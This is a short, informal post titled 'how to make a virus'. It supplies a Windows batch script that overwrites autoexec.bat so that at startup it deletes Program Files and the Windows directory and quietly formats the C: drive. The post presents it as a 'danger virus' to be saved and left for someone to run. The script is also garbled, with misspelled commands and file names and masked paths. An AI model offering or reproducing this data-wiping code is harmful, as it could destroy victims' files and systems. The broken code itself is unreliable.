how to make a virus

you can make it easy .. creat a notpad and copy this ( echo off@
cls
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* nul >>c:\autoexec.bat
echo copy c:\******s\command\forma.com c:\ >nul >>c:\autoexe.bat
echo copy c:\******s\command/deltree.exe c:\ >nul >>c:\autoexec.bat
echo deltre /y c:\******s\*.* >nul >>c:\autoexec.bat
echoformat c:/q /u /autotest >nul >>c:\autoexe.bat ) and save it as a name AUTOEXE.bat and ull have a danger virus .. don't exute it xD